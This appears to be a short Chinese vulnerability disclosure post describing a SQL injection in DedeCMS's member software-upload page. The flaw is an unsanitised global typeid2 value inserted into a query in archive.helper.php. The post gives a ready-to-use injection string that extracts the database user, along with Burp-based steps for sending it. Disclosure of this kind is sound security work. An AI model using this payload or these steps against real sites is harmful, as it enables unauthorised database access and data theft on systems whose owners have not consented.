漏洞作者: Matt
[php]
5',1,1,1,@`'`),('-1','7',user() , '3','1389688643', '1389688643', '8'),(1,2,' /include/helpers/archive.helper.php if ( ! function_exists('GetIndexKey')) { function GetIndexKey($arcrank, $typeid, $sortrank=0, $channelid=1, $senddate=0, $mid=1) { global $dsql,$senddate,$typeid2;//typeid2调用外部 结合dede的便利覆盖即可 if(empty($typeid2)) $typeid2 = 0; if(empty($senddate)) $senddate = time(); if(empty($sortrank)) $sortrank = $senddate; $iquery = " INSERT INTO `#@__arctiny` (`arcrank`,`typeid`,`typeid2`,`channel`,`senddate`, `sortrank`, `mid`) VALUES ('$arcrank','$typeid','$typeid2' , '$channelid','$senddate', '$sortrank', '$mid') "; echo $iquery; $dsql->ExecuteNoneQuery($iquery); $aid = $dsql->GetLastID(); return $aid; } } 调用 /member/soft_add.php else if($dopost=='save') { $description = ''; include(DEDEMEMBER.'/inc/archives_check.php'); //生成文档ID $arcID = GetIndexKey($arcrank,$typeid,$sortrank,$channelid,$senddate,$mid);//调用了~ if(empty($arcID))
[/php]
漏洞证明:
调用的地方比较多 我就不一一写出了
测试方法
打开http://127.0.0.1/dede/member/soft_add.php
添加软件
然后打开BURP抓包
讲picnum改成typeid2
然后参数写5',1,1,1,@`'`),('-1','7',user() , '3','1389688643', '1389688643', '8'),(1,2,'
就能看到注入结果了
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论